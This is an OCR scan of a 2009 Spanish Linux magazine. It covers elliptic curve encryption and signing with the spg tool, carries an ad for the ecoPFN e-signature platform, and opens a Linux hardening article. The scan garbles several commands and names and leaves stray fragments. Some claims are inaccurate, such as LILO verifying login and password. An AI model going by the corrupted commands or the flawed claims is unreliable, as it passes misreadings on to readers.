en nuestro computador, proceder a desempa-
quetar los ficheros:

$ tar xvf spg.tar.gz && cd spg

y mediante la utilidad make(1), generar el eje-
cutable spg:

$ make all

Opcionalmente, es posible verificar el correcto
comportamiento de la aplicaciéon mediante la
bateria de tests recogida en el Listado 1. Para
ello, ejecutar el comando:

$ make tests

INFO: File encrypted

Message encrypted ok

QdpgUmdMn+5TFH+1MCVx9Wc) rHT8 fmKdudLB4jn/UxmYa2i f4vESWugq7W59tv3d

texOuBez6mj7AXiu58QKLCcYBQZIFQrfrkVZ4tESoQONujxQYkXKeBesyb2m9Ydir

IdcmNXyWFQ4RRZ4VeuAc7siaJDUT/£JT10+azkLOmpx133Ze

www.lpmagazine.org

seguridad y ethical hacking
Criptografia de Curva Eliptica

#H##H#####H secp521r]l decrypting data
FHEFH AR

INFO: File decrypted successufuly
Message decrypted ok

INFO: File decrypted successufuly
Message decrypted ok

ALL TESTS PASSED

y comprobar que todos los test propuestos
son realizados de forma satisfactoria. Una vez
concluido este paso, es posible empezar a dar
los primeros pasos en criptografia ECC me-
diante esta aplicacion, para ver su utilizacion
en la generacion de claves, cifrado, descifrado
y firma digital explicadas para los algoritmos
ECDSA.

La aplicacion spg utiliza una interfaz
basada en linea de comandos (CLI) que ad-
mite los comandos y opciones indicadas en
el Listado 2.

A continuacion, vamos a estudiar la aplica-
cion de esta sencilla herramienta en los proble-
mas basicos de la criptografia digital.

Todo proceso que conlleva la criptografia
de curva eliptica (ECC) debe partir de la
seleccion de una de las 11 curvas elipticas ac-
tualmente implementadas en SPG 0.3.1. Para
generar una de estas claves utilizando la curva
secp521rl que proporciona el nivel de seguri-
dad mas elevado, el comando a utilizar es el
siguiente:

$ spg -g -c secp521lrl

-o ecc.key

que almacena dicha clave en el fichero ASCII
ecc.key mostrado en el Listado 3.

Una vez generada nuestra clave privada, es
necesario extraer la clave publica complemen-
taria de ésta mediante el comando:

$ spg -x -k ecc.key

-0 ecc_pub.key

en el fichero ecc pub.key, cuyo contenido se
muestra a continuacién. Nétese que en lo su-
cesivo, ya no es necesario una vez generada la
clave privada de partida, especificar la curva
eliptica a utilizar.

Q00YIehsOrMVKFNPcgiXFHIT+H610upm54ICJh
AxkUjabvzeJPZBpgkdHeWSke50E
Xi0KswHyU81gl4Ap7R08BOESQgHU+wr0Q4dfv
1tuFzSjTxjl5cVeFhfgdxhrVxxn
86LsISGw8oeTeRAab3scO0iSxdjTD3hgHWAREVW

—
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Acrénimos y abreviaturas

American National Standards Institute

ATM Asynchronous Transfer Mode
DSA Digital Signature Algorithms

ECC Elliptic Curve Cryptography
ECDLP  Elliptic Curve Discrete Logarithm
ECDS Elliptic Curve Digital Signature
HA Secure Hash Algorithms

IETF Internet Engineering Task Force
ISO International Standards Organisation
MD Message Diggest

PGP Pretty Good Privacy

PKC Public Key Algorithms

RPM RedHat Package Manager

RSA Rivest-Shamir-Adleman Algorithm
SKC Symmetric Key Algorithms

njN2+t0k6Ez4wlzZWNwNTIxcJE=

Con ello, se dispone ya de los elementos nece-
sarios para realizar las aplicaciones de cifrado
y descifrado asi como la firma digital y su pos-
terior verificacion, sin mas que asignar dicho
par de claves a un usuario concreto.

Utilizando nuestra clave publica para encriptar
un fichero cualquiera, v. gr. myfile.c en este
caso, resulta inmediato obtener un fichero en-
criptado no legible con la extension .enc tal
y como se indica a continuacion:

$ spg -e -k ecc pub.key myfile.c
INFO: File encrypted

Como puede apreciarse, el fichero encriptado es
un binario, que debe ser renombrado para eli-
minar la extension .enc final antes de proceder
a su descifrado:

$ file myfile.c*
myfile.c:

ASCII English text
myfile.c.enc: data
El proceso de descifrado es muy similar, reem-
plazando la clave publica ECC utilizada para
cifrar por la clave privada, que debe ser tnica-
mente conocida por el usuario que debe tener la
capacidad de proceder a esta operacion:

$ spg -d -k ecc.key
-o myfile.c.enc myfile.c
INFO: File decrypted

successufuly

Con ello se completa el detalla del cifrado y de-
scifrado de ficheros mediante criptografia de
curva eliptica en sistemas GNU/Linux, lo cual
es extensible sin mayores complicaciones a ot-
ros sistemas Unix comerciales.

Para concluir las aplicaciones de la criptografia
de curva eliptica, nos resta abordar el tema de
la firma digital de ficheros y verificacion ul-
terior mediante la aplicacion SPG. Tomemos
como ejemplo el fichero message.txt, cuyo
contenido aparece en el Listado 4.

Utilizando nuestra clave privada, el pro-
ceso de obtencion de la firma digital asociada,
seria dado por el siguiente comando:

$ spg -s -k ecc.key
-o signature

message.txt

La firma digital ECC basada en la criptogratia
de curva eliptica para este fichero, se muestra
en el Listado 5.

Evidentemente, para comprobar por par-
te de terceras personas que este fichero ha
sido inalterado, se debe utilizar la clave pu-
blica correspondiente para la operacion de
verificacion de la firma digital tal y como se
indica:

$ spg -v -k ecc pub.key
-i signature message.txt

INFO: Signature is valid

De este modo, concluimos los ejemplos de
aplicacion de la criptografia de curva eliptica
y los algoritmos ECDS en sistemas GNU/
Linux.

Es conveniente llegados a este punto hacer una
pequefia disgresion e introducir algunos con-
ceptos sobre la estandarizacion de estos algo-
ritmos, a fin de fomentar la interoperacion
y facilitar el uso de técnicas actualmente en
uso dentro de la industria. De este modo, los
estandares vigentes sobre ECC en el momen-
to actual estan en fase de elaboracion por parte
de las siguientes entidades.

Los algoritmos ECC estan siendo objeto
de estandarizacion por el Americal National
Standards Institute (ANSI), en concreto por
los grupos de trabajo ASC X9 (Financial Servi-
ces), existiendo dos documentos: ANSI X9.62,
The Elliptic Curve Digital Signature Algorithm
(ECDSA) y ANSI X9.63, Elliptic Curve Key
Agreement and Transport Protocols. Ademas,
las curvas elipticas han sido también introdu-
cidas en las especificaciones sobre criptografia
de clave publica. Para el lector curioso, estos
documentos, en fase borrador estan disponibles
en http://stdsbbs.ieee.org.

Por otro lado, el Internet Engineering Task
Force (IETF) describe un protocolo modificado
de aceptacion de clave que es una variante de
los algoritmos Diffie-Hellman que menciona
las curvas elipticas, disponible en http://www.
ietf.cnri.reston.va.us/.

El International Standards Organisation
(ISO) esta elaborando el apéndice 3 del docu-
mento ISO/IEC 14888: Digital signature with
appendix , dedicado a los mecanismos basados
en certificados introduciendo curvas elipticas
y algoritmos ElGamal.

El ATM Forum Technical Committee's
Phase I ATM Security Specification draft docu-
ment pretende introducir nuevos mecanismos
de seguridad sobre redes ATM (Asynchronous

C -
<
-
-<

17al

ITb1

Curvas elipticas con coeficientes a, b reales

Linux+ 7-8/2009



D

Referencias bibliograficas

» National Institute for Standards
and Technology, Digital signature stan-
dard, FIPS Publication 186, 1993. Dis-
ponible en http://csrc.ncsl.nist.gov/fips/

* A Odlyzko, The future of integer facto-
rization, CryptoBytes
— The technical newsletter of RSA
Laboratories, volume 1, number 2,
Summer 1995, 5-12. Disponible
en http.//www.rsa.com/

»  B. Schneier, Applied Cryptography:
Protocols, Algorithms, and Source
Code in C, 2nd edition, Wiley, 1996.

» D. Stinson, Cryptography = Theory and
Practice, CRC Press, 1995.

Transfer Mode), proporcionando el soporte
completo para algoritmos de clave publica
RSA, DSA 'y ECDSA.

De este modo, se constata que los algorit-
mos de criptografia de curva eliptica pretenden
constituirse en un digno sucesor de los algorit-
mos actualmente existentes como DSA 'y RSA,
basados exclusivamente en aritmética modular,
no solamente a nivel especulativo o de investi-
gacion, sino también por parte de la industria de
la tecnologias de la informacion.
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Tal y como se indicé en la introduccion, las
técnicas de criptografia digital en general, y en
particular la criptografia de clave publica, se
fundamentan en una familia de problemas ma-
tematicos basados en funciones que asocian
a un valor inicial un valor final, de tal forma
que el coste computacional de este proceso
es muy inferior al inverso; esto es, pasar del
valor final conocido al valor inicial que le dio
origen; problemas conocidos como algoritmos
one-way-path. Abusando de nuevo de las Ma-
tematicas y, pidiendo disculpas por la comple-
jidad de los argumentos esgrimidos, se trata
de funciones cuya inversa es de dificil deter-
minacion.

Concretamente, la ventaja de los algorit-
mos ECC radica en las menores exigencias de
recursos a la hora de realizar las operaciones
de cifrado, descifrado, firma y verificacion de
éstas, asi como la independencia total de la
plataforma y lo mas importante, la disponibi-
lidad publica de los algoritmos, que estan en
fase de adopcion por las méas importantes agen-
cias de estandarizacion internacionales.

Los algoritmos criptograficos de curvas eli-
pticas (ECC) proporcionan, a tenor de lo expli-
cado en este articulo, el mas alto grado de pro-
teccion con el menor tamafio de clave en com-
paracion con los algoritmos de clave publica
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utilizados en la actualidad. Asi, con un médulo
de 160 bits, un algoritmo ECC como ECDSA,
ofrece el mismo nivel de seguridad si nos ate-
nemos a los tiempos necesarios para averiguar
la clave comparable a los proporcionados por
algoritmos DSA o RSA con un médulo de 1024
bit. Ademas, el trabajo con claves de tamafo
inferior, redunda en menores requisitos a nivel
de sistemas informaticos, ahorros en las comuni-
caciones remotas, al requerir menor ancho de
banda, certificados digitales mas reducidos en
tamafio y, en suma, implementaciones algorit-
micas mas rapidas con consumos mas reduci-
dos y menores requisitos en cuanto a hardware
se refiere. &
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ECOPFN

— Plataforma web de firma electrénica,
gestion documental web y eFactura

La Plataforma web ecoPFN es una herramienta de cddigo abierto desarrollada en
PHP, XHTML, CSS y JavaScript, con soporte para MySQL, y que incorpora una
implementacion de las librerias de Firma y cifrado de KSI.

SEGURIDAD DIGITAL

Trabajo colaborativo del mundo de software Software libre (creadores de PHPFILENAVIGATOR)

y KSI Seguridad Digital

sta herramienta es un nuevo producto desarro-

llado a partir del gestor documental PHPfile-

Navigator (pfn.sourceforge.net) y que incluye,

entre otras muchas caracteristicas adicionales,
la firma electronica, cifrado y validaciéon de documentos
digitales, ademas de capacidad de proceso por lotes pa-
ra contextos de facturacion electronica masiva de modo
completamente automatizado (firma, envio por email y pu-
blicacion en la plataforma en cada zona privada de nues-
tros clientes).

Este nuevo producto es mucho mas que una simple
adaptacion ya que se han ampliado y optimizado todas sus
funcionalidades, asi como afiadido nuevos controles y moni-
torizaciones de acciones durante el uso de la plataforma.

Usted podrd instalar la Plataforma web ecoPFN en su
servidor, independientemente del sistema operativo que
use (requiere soporte para cierto software) para dar ser-
vicio a todos sus clientes y empleados, o también podra
instalar la plataforma en modo individual para cubrir las
necesidades de firma, cifrado y validacion en sistemas
operativos que no dispongan atn de herramientas para
tal uso.

Linux+ 7-8/2009

Caracteristicas

*  Firma electronica en todos los formatos PKCS#7, CMS,
PDF, XML.

» Cifrado Simétrico y Asimétrico.

»  Consultas en tiempo real de validez de certificados (OCSP).

»  Sellado de Tiempo Seguro (TimeStamping).

*  Autenticacion con usuario/password y con certificados
digitales.

*  Control de trazabilidad de acciones de usuario con la
informacion.

»  Firma electrénica por lotes provenientes de ERP o apli-
caciones de Gestion.

*  Compatibilidad e integracion 100% con ecoFactura
y ecoAsesoria.

*  Compatibilidad 100% con Esecure.

* Ideal para certificados digitales de Sello de Empresa
y Pertenencia a Empresa.

*  Aplicacion multiplataforma instalable en sistemas Win-
dows y GNU/Linux.

» Plataforma de codigo abierto con librerias binarias de
Firma y Cifrado licenciables.



Maxima seguridad
ECOPFN esta desarrollado aplicando las mas
estrictas reglas de seguridad informatica.

Su mayor efectividad en este campo se pue-
de apreciar trabajando en entornos SSL, don-
de se rendimiento y funcionalidad es 6ptima.
Usted podra configurarlo de manera sencilla pa-
ra adaptarlo a su propio entorno, asi como podra
configurar sus usuarios con una gran de ampli-
tud de opciones de seguridad, como por ejem-
plo, limitar a ciertos usuarios que solo puedan
descargar y subir documentos. Ademas, otros
usuarios podran copiar, mover, eliminar, crear
directorios, o permitiendo el login con cual-
quier certificado electronico.

Usando la Firma electronica, sus usuarios
podran firmar PDF y XML de manera transpa-
rente, asi como cualquier tipo de fichero que
emplee formatos avanzados del ETSI como
TS 101 733 (CAdJES) y TS 101 903 (XAdES),
usando sus propios certificados, o los certifica-
dos de empresa, tarjetas criptograficas, certi-
ficados temporales, firma en cliente, cumplien-
do totalmente el formato Facturae impulsado
por la Agencia Tributaria.

Podran también cifrar y descifrar documen-
tos con certificado electronico o contrasena, asi
como verificar de manera detallada los datos de
las firmas aplicadas a un documento.

En su completa Area de Administracion us-
ted podra gestionar por completo la plataforma,
asi como visualizar los informes de acciones
que informaran de los accesos de los usuarios
a la misma, con detalles como la fecha y hora,
usuario o IP, asi como de los accesos fallidos.

Otro importante detalle son los informes de
acciones en donde todas las acciones que reali-
cen en el sistema (firmar, cifrar, copiar, mover,
eliminar, etc) estan minuciosamente monitori-
zadas para que usted disponga de un absoluto
control de todo lo que sucede o ha sucedido.

Acceso permanente

a los documentos

Gracias a esta herramienta podra mejorar enor-
memente la relacion con sus clientes, ofrecién-
dole la oportunidad de acceso instantaneo, se-

guro y de manera constante a toda la documen-
tacion o facturas electronicas que desee com-
partir con ellos. No necesitaran esperar a que
usted se encuentre en su oficina, simplemente
con conexion a Internet su cliente podra recupe-
rar toda su documentacion sin que su empresa
pierda ni un solo minuto. Podran acceder con
sus certificados digitales, estén en su DNIe
o tarjeta criptografica (Criptonita de FNMT,
CAMERFIRMA, Colegio de Abogados, IZEN-
PE o los certificados que haya emitido para sus
clientes de su propia CA).

Esta plataforma le ayudard a ahorrar, al
reducir drasticamente el envio por correo
postal de informacion a clientes. Le permitira
la firma masiva y distribucion de informacion
firmada sensible y facilitara la movilidad de su
personal de modo seguro, permitiendo ofrecer
a sus clientes un lugar protegido y permanente
donde siempre encontraran su informacion
aunque pierda la que usted le envid firmada
electronicamente por email.

Plena integracion
La Plataforma web ecoPFN se integra facilmen-
te en su web y/o se acopla con otras aplicaciones
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de su empresa como ERP u otras herramientas
de gestion. Facilita la Publicacion de informa-
cion firmada electronicamente y/o cifrada de
manera automatizada, actuando como un apoyo
formidable para cumplir la LOPD y otras nor-
mativas legales.

La Plataforma es una aplicacion de codigo
abierto aunque las librerias de firma y cifrado
requieran licencia, por lo que usted podra
adaptarlo de manera personalizada a las ne-
cesidades de su empresa, asi como integrarlo,
en caso de disponer de €I, en su actual entorno
de intranet privada, incluso afiadirle funciona-
lidades nuevas.

Es la herramienta perfecta con la que
completar su intranet productiva y mejorar sus
relaciones con clientes y proveedores. Dispo-
nible en varios idiomas, se adapta facilmente
a cualquier lengua en pocas horas de trabajo.

Aplicaciones Windows de escritorio como
ecoFactura para la PYME y ecoAsesoria para
el mundo de las asesorias de todo tipo, hacen
ya uso de la Plataforma ecoPFN para publica-
cion segura de contenidos que vayan a estar
firmados electronicamemente, facilitando una
dréastica reduccion de papel.

Visite http://www.ecopfin.com y descar-
guese las hojas de producto en la direccion
http://www.ksitdigital.com/documentacion/
descargas donde podra comprobar todo un
conjunto de aplicaciones que se enlazan lim-
piamente con la plataforma.

Para cualquier ampliacion de informacion
dirijase a info@ksitdigital.com. Si desea en-
trar en el canal de Partners que distribuyen la
herramienta comprobara que tendra todas las
facilidades.
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El Arte de la Seguridad

Lino Garcia Morales

Casi se podria decir que no existe nada completamente seguro lo que incluye,
por supuesto y con seguridad, cualquier sistema informatico. La seguridad de un
sistema depende de la fortaleza o debilidad con la que es capaz de reaccionar
ante algun ataque. Se podria considerar que un ataque es cualquier interaccion
no prevista con el entorno que pueda alterar el comportamiento de un sistema.

linux@software.com.pl

n estas definiciones se encuentran alguna de las

claves de este arfe, mas que ciencia, que es la

seguridad. En primer lugar existe riesgo solo

cuando existe interaccion. Un sistema que fun-
ciona con programas bien intencionados y no interactia con
otros sistemas jamas podra ser atacado. Pero los sistemas en
la actualidad necesitan interactuar, se deben a ello; por lo que,
en segundo lugar, el hecho no previsto de la interaccion, pro-
porciona otra clave. Los sistemas y programas normalmente
se desarrollan para que satisfagan determinados comporta-
mientos y reacciones ante eventos. De hecho, se testean hasta
la saciedad para explorar todas las posibles combinaciones.
Sin embargo, se suele subestimar el efecto que pueden pro-
vocar acciones y eventos no previstos; se le dedica menos
esfuerzo, tiempo y comprobacion (mi primera experiencia
con este tema tuvo lugar durante el desarrollo de una aplica-
cion de adquisicion y supervision de datos para un cliente de
una empresa del sector industrial. El dia que vino a probar la
version inicial lo primero que hizo fue tocar todo el teclado
como un loco sin ninguna logica y el programa reacciond blo-
queandose. En solo unos pocos segundos quedé demostrada
la vulnerabilidad de la aplicacion. El error fue considerar
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solo las opciones del teclado previstas). Se suele denominar
hacker o cracker, a aquella figura que pone a prueba, ataca,
estas opciones no previstas o debilidades (normalmente para
conseguir algiin beneficio, aunque a veces solo sea una in-
comprensible satisfaccion personal o reforzamiento del ego)
y administrador justo al encargado de evitarlo o, al menos,
de aumentar la dificultad. Las consecuencias de esta lucha
pueden ser muy graves pero cuanto mas inteligente y sofisti-
cado es el mecanismo que asegura la seguridad de un sistema
mayor es el reto de vulnerarlo. Esta dialéctica endemoniada,
a través de un mecanismo no menos diabolico de actualiza-
cion, asegura el futuro de la seguridad y la convierte en arte.
La sofisticacion de la seguridad es una relacion de com-
promiso entre fortaleza ante el intruso y prestaciones del
sistema porque, no hay que olvidar que toda la funcionalidad
introducida para hacer el sistema mas robusto consume recur-
sos: tiempo de proceso, espacio en memoria, en disco duro,
ancho de banda, etc. En cualquier caso, esta negociacion debe
estar clara mediante una politica de seguridad que establezca
el nivel de seguridad que requiere el sistema (o conjunto de
sistemas) y un sistema de comprobacion. EIRFC 2196 (http://
www.fags.org/rfcs/rfc2196.html) es un ejemplo muy conoci-



do de politica de seguridad. Para establecer una
politica de seguridad correcta es importante va-
lorar qué esta en juego, cuanto tiempo y dinero
costara recuperarlo.

De la seguridad existen libros, masteres
(como el Master Universitario en Seguridad de
Tecnologias de la Informacién y Comunicacio-
nes, http://www.uem.es/postgrado/master-ofi-
cial-en-seguridad-de-las-tecnologias-de-la-in-
formacion-y-las-comunicaciones, de la UEM),
innumerables paginas, enlaces y referencias.
Es un tema del cual sobre todo administrador
y pirata sacan beneficio asi que, en este articulo,
nos limitaremos a tratar s6lo algunos aspectos
relevantes.

Existen varios elementos que nos permiten
valorar la seguridad de un sistema.

*  Riesgo. Posibilidad de acceso al sistema
por un intruso. La lectura de un documento,
por ejemplo, puede ser considerada de alto
riesgo, en dependencia del nivel de confi-
dencialidad; pero la posibilidad de copiar
y ejecutar un programa en un sistema es
intrinsecamente de extremado riesgo. Un
programa puede borrar todo el sistema de
archivos, modificar malintencionadamente
a otros para alterar su funcionamiento, etc.

e Amenaza. Cualquier usuario susceptible
de acceder, sin autorizacion, al sistema. El
secreto es seguro solo si no se comparte.
El intruso puede ser un curioso (cotilla
de informacion y datos), malintencionado
(con clara intencion de hacer dafio), exper-
to (utiliza el ataque para promocionar su
ingenio), competencia (sin comentarios).

*  Vulnerabilidad. Describe tanto el nivel de
proteccion del sistema como la posibilidad
potencial de acceso sin autorizacion.

Los requisitos de seguridad se pueden resumir en:

*  Disponibilidad. Mantener la informacion
y los recursos de acuerdo con los requisitos
de uso. Debe garantizar que no se limite el
acceso autorizado a la informacion y el
correcto funcionamiento de los recursos.

* Integridad. Toda la informacion, alma-
cenada en los sistemas o en circulacion
por la red, debe estar protegida contra la
modificacion no autorizada. Que la infor-
macion solo pueda ser modificada por las
entidades autorizadas.

e Autenticidad. Toda la informacion, en cir-
culacion por la red, debe permanecer pro-
tegida ante falsificaciones. La autenticidad
requiere mecanismos de identificacion co-
rrectos, asegurando que las comunicacio-
nes se realizan entre entidades legitimas.
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*  Confidencialidad. Se debe evitar la difusion
no autorizada de la informacion. Requiere
que la informacion sea accesible Unica-
mente por las entidades autorizadas.

*  No rechazo. Mecanismos necesarios para
que nadie pueda negar que haya realizado
una determinada comunicacion.

Las fuentes del niicleo de Linux son abiertas.
Cualquiera puede obtenerlas, analizarlas y mo-
dificarlas. Este modelo de desarrollo abierto,
que siguen tanto Linux como la mayoria de las
aplicaciones que se ejecutan sobre €1, conduce
a altos niveles de seguridad. Cualquiera puede
acceder al codigo fuente para encontrar las de-
bilidades, pero el tiempo que tarda en aparecer
la solucion para cualquier debilidad se mide
mas en horas que en dias. Gracias a esto, Linux
es conocido por su alto nivel de estabilidad que
parte del propio nucleo del sistema operativo
(lo que propiamente es Linux).

Linux tiene disponibles todos los servicios
habituales en una red: bases de datos, servicios
de internet, servicio de ficheros e impresion y
las utilidades necesarias para mantener el nivel
de seguridad requerido. Cada servicio funciona
sin afectar al resto de los servicios.

En particular, en Linux es necesario prote-
ger ciertos ficheros que contienen informacion
sobre los usuarios (/etc/passwd, /etc/shadow),
los ficheros de configuracion del sistema (los
contenidos en /etc), el acceso al sistema para
que se realice segiin marca la politica prevista
y la correcta utilizacién de los recursos para
evitar abusos.

Seguridad Fisica. Linux proporciona los niveles
exigibles de seguridad fisica para un sistema
operativo: arranque seguro, posibilidad de blo-
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quear las terminales y, por supuesto, las capaci-
dades de un sistema multiusuario real.

LILO (Linux Loader) es el encargado de
cargar el sistema operativo en memoria y pasar-
le informacion; constituye el mecanismo inicial
de identificacion o control de acceso para el uso
de Linux mediante la verificacion de dos datos:
login y password (nombre y clave). Puede en-
contrar mas detalles en las paginas del manual
lilo y lilo.conf. Para ello, introduzca en la linea
de comandos las siguientes ordenes:

# man lilo

#man lilo.conf

Una forma fécil de apropiarse del nombre/clave
de un usuario incauto es simulando, en una ter-
minal inocentemente abierta, la presentacion del
sistema. Para evitar falsas consolas, si se aleja de
sumaquina de vez en cuando, es aconsejable que
bloquee su consola, mediante x/lock y block, para
que nadie pueda manipularla o mirar su trabajo;
aunque esto no previene de reinicios de la ma-
quina u otras formas de deteriorar su trabajo.
Seguridad Local. Linux es un sistema opera-
tivo multiusuario real: puede haber varios usua-
rios trabajando simultaneamente con ¢l, cada
uno en su terminal. Segun las estadisticas, el ma-
yor porcentaje de violaciones de un sistema son
realizadas por usuarios locales. El sistema no so-
lo debe protegerse de violaciones intencionadas,
sino también de operaciones accidentales debi-
das a descuidos o ignorancia de los usuarios.
Linux dispone de todas las caracteristicas
de los sistemas Unix: un control de acceso a los
usuarios verificando una pareja de usuario
y clave; cada fichero y directorio tienen sus pro-
pietarios y permisos. La meta de la mayoria de
los ataques es conseguir acceso como root, lo
que garantiza un control total sobre el sistema.
Primero se intenta conseguir acceso como usuario
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normal para posteriormente ir incrementando
sus niveles de privilegio utilizando las posibles
debilidades del sistema: programas con errores,
configuraciones deficientes de los servicios o el
descifrado de claves cifradas. Incluso se utilizan
técnicas denominadas "ingenieria social", que
consisten en convencer a ciertos usuarios para
que suministren una informacién que debiera
ser mantenida en secreto, como sus nombres de
usuario y contrasefas.

El administrador tiene que conocer las nece-
sidades de cada uno de sus usuarios y asignarle
los minimos privilegios para que pueda realizar
su trabajo sin resultar un peligro para otros usua-
rios o el sistema. Otro peligro potencial para el
sistema es mantener cuentas abiertas que se han
dejado de utilizar. Estas cuentas pueden consti-
tuir un buen refugio para un potencial atacante
y pasar desapercibidas sus acciones.

Seguridad en las Claves. La seguridad de
una sola cuenta puede comprometer la seguridad
de todo el sistema. Una clave solida no debe
ser una palabra conocida, debe contener letras,
numeros y caracteres especiales, debe ser facil
de recordar y dificil de adivinar. Un conocido
programa para el descifrado de claves es John
the Ripper (http://www.openwall.com/john/).

Las claves cifradas se almacenan en el
fichero /etc/passwd. Se generan mediante algo-
ritmos de criptografia cuyo objetivo es convertir
el texto plano en un galimatias a partir de un
codigo o llave (llamado igualmente clave) cuya
fortaleza depende de su longitud. Esta llave (pa-
ra diferenciarla de la clave genérica), en el caso
mas simple, es informacion secreta al algoritmo.
Casos mas complejos combinan multiples 1la-
ves, publicas y privadas, etc. Cualquier usuario
del sistema tiene permiso de lectura sobre este
fichero. Para solucionar esta vulnerabilidad,
es posible recurrir a contraseiias en la sombra
(shadow passwords), un mecanismo que con-

siste en extraer las claves cifradas del fichero
/Jetc/passwd y situarlas en otro fichero llamado
/Jetc/shadow, que solo puede leer el root y dejar
el resto de la informacion en el original /efc/
passwd. Para activar contrasefias en la sombra,
crear el fichero /etc/shadow, tiene que ejecutar
pwcony como root.

Seguridad del Root. Los peores destro-
zos de un sistema en muchisimas ocasiones
son provocados (por descuido, por exceso de
confianza, por ignorancia) por el propio ad-
ministrador.

Estos agujeros se pueden minimizar si-
guiendo unas pautas sencillas:

*  No use la cuenta de root por norma. Evitela.

¢ Ejecute los comandos de forma segura
verificando previamente la accion que va a
realizar. Por ejemplo si quiere ejecutar rm
borrar.*, gjecute primero ls borrar.*
y si es lo que pretende modifique el man-
dato y ejecutelo.

«  Ciertos mandatos admiten una opcion (-i)
para actuar de forma interactiva. Activela,
si no lo estd ya afiadiendo estas lineas
a su fichero de recursos para la shell:

v

alias rm='rm -i', alias cp='cp -i',

alias mv='mv -i'. Siempre puede evitar
estas preguntas, a veces incomodas, con
el mandato yes, cuando esté seguro de la
operacion que esta realizando: $ yes s/
rm borrar.*

«  El directorio actual no esta, por defecto, en
la ruta de busqueda de ejecutables (PATH).
Esto garantiza que no se lance, por error,
un ejecutable que esté en el directorio ac-
tual llamado, por ejemplo 1s.

«  Evite que la clave del root viaje por una red
sin cifrar. Utilice ssh u otro canal seguro.

¢ Limite los terminales desde los que se pue-

de conectar root. Es preferible limitarlo a la
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consola del sistema. Esto se puede decidir
en /etc/securetty. Si necesita una sesion re-
mota como root, entre como usuario normal
y luego use su.

e Actie de forma lenta y meditada cuando
sea root. Sus acciones podrian afectar a mu-
chisimas cosas. Piense antes de teclear.

Hay herramientas como sudo que permiten
a ciertos usuarios utilizar comandos privile-
giados sin necesidad de ser root, como montar
o desmontar dispositivos. Ademas registra las
actividades que se realizan, lo que ayuda a de-
terminar qué hace realmente este usuario.

Seguridad del Sistema de Archivos. Se pue-
de poner en riesgo el correcto funcionamiento
de un sistema: violando la privacidad de la in-
formacion, obteniendo unos privilegios que no
le corresponden a un usuario, haciendo un uso
desmedido de los recursos o modificando in-
formacion legitima contenida en una maquina
(como pueden ser el contenido de una pagina
web o una base de datos).

En Linux cada soporte, disco, particion,

disquete, CD o medio de almacenamiento, tie-
ne su propia organizacion logica: el sistema de
ficheros. El uso de cualquier soporte requiere
previamente montarlo en un directorio existente;
el contenido de la particion nos aparece como el
contenido del directorio. Un primer criterio para
mantener un sistema seguro es establecer una co-
rrecta distribucion del espacio de almacenamien-
to. Esto limita el riesgo de que el deterioro de una
particion afecte a todo el sistema. La pérdida se
limita al contenido de esa particion.

No hay unas normas generales aplicables, la
decision adecuada depende del uso al que vaya
destinado el sistema y la experiencia del adminis-
trador. Algunos principios recomendables son:

e Si el sistema va a dar servicio a multiples
usuarios que requieren almacenamiento pa-
ra sus datos privados, es conveniente que el
directorio /home tenga su propia particion.

» Siel equipo va a ser un servidor de correo,
impresion, etc., el directorio /var o incluso
/var/spool podrian tener su propia particion.

e Algunos directorios son necesarios en la
particion raiz. Contienen datos que son ne-
cesarios durante el proceso de arranque del
sistema como /dev/, /etc, /bin, /sbin, /lib,
/boot.

«  El directorio /usr/local contiene los progra-
mas compilados ¢ instalados por el admi-
nistrador. Resulta conveniente usar una par-
ticién propia para proteger estos programas
personalizados de futuras actualizaciones
del sistema. Este criterio también se puede
aplicar al directorio /opt.



Linux, como sistema multiusuario, asigna un
propietario y un grupo a cada fichero (y direc-
torio) y unos permisos al propietario, al grupo
y al resto de los usuarios. La forma mas rapida de
comprobar esta caracteristica es usar el comando
1s -la. Es conveniente tener claro los permisos
que se pueden asignar a un fichero o directorio.
Puede que algunas aplicaciones no funcionen
bien si algun fichero no tiene el permiso o el
propietario correctos, bien por falta de permisos
0 bien por exceso. No solo hay que protegerse de
ataques o miradas indiscretas, también hay que
protegerse de acciones accidentales.

En general, cualquier sistema UNIX divide
el control de acceso a ficheros y directorios en
tres elementos: propietario, grupo 'y otros. Tan-
to el propietario como el grupo son tinicos para
cada fichero o directorio. Eso si, a un grupo pue-
den pertenecer multiples usuarios. Otros hace
referencia a los usuarios que ni son el propieta-
rio ni pertenecen al grupo. Todas estas caracte-
risticas se almacenan en el sistema de ficheros,
en particular en un inodo, que es un elemento
que describe las caracteristicas de un fichero en
disco (salvo su nombre).

Los sistemas de ficheros de tipo Unix per-
miten crear enlaces entre ficheros. Los enlaces
pueden ser duros o simbdlicos. El primer caso
consiste en asignar mas de un nombre a los mis-
mos datos en disco. Un enlace duro no consume
mas espacio adicional que el que pueda repre-
sentar el nuevo nombre que le damos a unos
datos y solo es valido para ficheros que estén en
el mismo sistema de ficheros, es decir, la misma
particion. Los enlaces simbolicos son ficheros
que apuntan a otro fichero o directorio. Crean un
nuevo fichero pequeiio que contiene la ruta del
fichero destino.

Una forma comoda de detectar ataques lo-
cales (y también de red) en su sistema es ejecu-
tar un programa que verifique la integridad de
la informacion almacenada en los ficheros, tal
como tripwire. El programa tripwire ejecuta va-
rias comprobaciones de integridad (cheksums)
de todos los binarios importantes y ficheros de
configuracion y los compara con una base de
datos con valores de referencia aceptados como
buenos. Asi se detecta cualquier cambio en los
ficheros. Una vez que fripwire se ha configura-
do, es buena idea ejecutarlo como parte de los
deberes habituales de administracion para ver si
algo ha cambiado.

Un ataque posible a cualquier sistema es
intentar consumir todo el espacio del disco du-
ro. Una primera proteccion contra este ataque
es separar el arbol de directorios en diversos
discos y particiones. Pero esto puede no ser
suficiente y por eso el nucleo del sistema pro-
porciona la posibilidad de controlar el espacio

de almacenamiento por usuario o grupo. Es
necesario tener claros los conceptos y dedicarle
algo de tiempo a una correcta planificacion pero
los peligros expuestos no deben ser motivo de
panico. Todas las distribuciones de Linux traen
unos valores por defecto que son mas que razo-
nables para cubrir unas necesidades normales.

Seguridad del Nicleo. Linux tiene la gran
ventaja de tener disponible el codigo fuente del
nucleo; en realidad Linux propiamente dicho
es solo el nucleo. Esto posibilita la creacion
de nucleos a medida de nuestras necesidades.
Y parte de nuestras necesidades sera la mejora
de la seguridad. Como el nucleo controla las ca-
racteristicas de red de su sistema, es importante
que el ntcleo tenga las opciones que garanticen
la seguridad y que el propio ntcleo no pueda
ser comprometido. Para prevenir algunos de los
ultimos ataques de red, debe intentar mantener
una version del nucleo actualizada.

Hay algunos dispositivos de bloque y carac-
ter disponibles en Linux que también resultan
